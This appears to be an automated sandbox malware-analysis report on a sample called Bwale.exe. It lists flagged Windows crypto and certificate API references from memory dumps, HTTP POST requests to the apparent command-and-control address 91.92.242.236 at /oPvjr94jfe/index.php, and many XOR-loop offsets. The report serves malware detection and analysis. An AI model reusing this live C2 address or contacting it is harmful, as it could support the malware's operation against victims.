emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs gp->atomicstatus=marking free object KiB work (eager) [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found api reference "CryptExportKey" (Indicator: "CryptExportKey"; Source: "00000000-00003824.00000000.171284.02E58000.00000004.mdmp") Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")2b:T6ef,Contains base64 string in header "POST" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /oPvjr94jfe/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.92.242.236Content-Length: 176Cache-Control: no-cache"2c:T107f9,Found XOR loop in file "Bwale.exe" at offset 475597; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 478215; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 480560; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 481741; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 481751; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 483992; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 486964; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 487298; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 488861; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 495807; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 496147; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 497618; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 499633; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 499954; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 501407; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 502835; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 504031; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 504041; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 506151; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 508729; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 511358; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 513692; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 514881; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 514891; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 517050; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 519703; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 522358; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 524761; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 525948; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 525958; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 528177; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 530998; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 533318; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 534505; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 534515; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 536691; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 539294; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 541579; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 542766; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 542776; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 550158; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 550480; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 551930; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 554029; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 554376; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 556008; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 557473; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 558660; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 558670; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 560853; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 563736; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 564064; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 565513; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 577464; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 577811; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 579449; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 581608; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 581955; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 583594; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 590561; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 590889; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 592413; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 594510; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 594857; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 596474; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 598523; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 598854; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 600399; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 607317; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 607645; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 609094; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 611099; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 611421; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 612871; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 614890; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 615212; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 616662; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 623323; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 625617; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 626804; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 626814; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 628619; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 629806; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 629816; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 631630; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 632817; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 632827; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 634831; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 636027; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 636037; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 643023; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 645874; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 646195; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 647639; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 649319; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 652170; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 652491; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 653935; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 670850; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 673730; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 674051; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 675495; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 677496; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 677836; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 679337; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 681131; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 683748; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 686405; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 689003; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 690192; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 690202; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 692296; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 695187; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 695515; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 696964; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 703301; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 704497; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 704507; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 711170; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 712359; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 712369; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 719602; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 720798; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 720808; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 727805; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 730689; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 731011; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 732461; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 733862; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 735058; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 735068; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 742465; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 742812; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 744429; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 746488; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 746819; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 748364; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 750385; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 750713; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 752180; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 753933; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 756240; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 757427; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 757437; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 759274; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 760461; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 760471; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 762267; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 763454; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 763464; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 765430; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 766617; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 766627; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 768802; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 771129; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 772316; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 772326; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 774157; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 775344; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 775354; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 777496; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 780441; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 780775; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 782464; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 794453; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 794787; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 796368; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 818229; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 818550; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 820012; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 821754; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 824068; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 825246; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 825256; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 832615; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 832936; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 834385; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 836109; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 838787; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 841100; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 842281; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 842291; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 849611; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 849945; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 851487; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 853515; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 853836; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 855289; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 857035; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 859325; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 860512; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 860522; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 862670; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 865301; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 867945; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 870592; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 873237; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 875608; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 876795; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 876805; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 879012; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 881616; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 884485; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 884806; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 886250; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 887956; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 890304; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 891491; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 891501; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 893679; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 896334; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 899217; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 899557; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 901037; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 903101; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 903441; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 904921; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 911963; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 912297; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 913878; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 915360; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 916547; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 916557; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 924014; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 924348; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 926031; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 933086; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 933438; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 935107; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 937286; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 937638; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 939324; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 941406; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 941733; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 943220; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 945322; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 945656; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 947345; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 949455; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 949789; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 951475; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 958484; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 958824; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 960325; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1004888; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1005660; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1005664; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1336813; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1361950; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1383100; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1592982; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 1919016; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2020172; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2055929; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2067869; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2075115; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2089185; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2094427; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2095795; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2097185; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2097795; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2099371; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2101693; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 2126598; code bytes = 30d0 Found XOR loop in file "Bwale.exe" at offset 370642; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 370776; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 1301165; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 1308493; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 1480754; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 1579469; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 2065589; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 2066983; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 2078213; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 2084129; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 2089487; code bytes = 33c1 Found XOR loop in file "Bwale.exe" at offset 632447; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1015524; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1200118; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1255211; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1316155; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1435915; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1546555; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1910280; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1912768; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1919824; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1939048; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 1962856; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2027708; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2059204; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2059996; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2060280; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2085946; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2088052; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2090930; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2092164; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2092606; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2092796; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2093188; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2095784; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2097776; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2098848; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2101674; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2106942; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2112540; code bytes = 8030 Found XOR loop in file "Bwale.exe" at offset 2128416; code bytes = 8030 Found XOR loop in file "Bwale.exe.bin" at offset 475597; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 478215; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 480560; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 481741; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 481751; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 483992; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 486964; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 487298; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 488861; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 495807; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 496147; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 497618; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 499633; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 499954; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 501407; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 502835; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 504031; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 504041; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 506151; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 508729; code bytes = 30d0 Found XOR loop in file "Bwale.exe.bin" at offset 511358; code bytes = 30d0 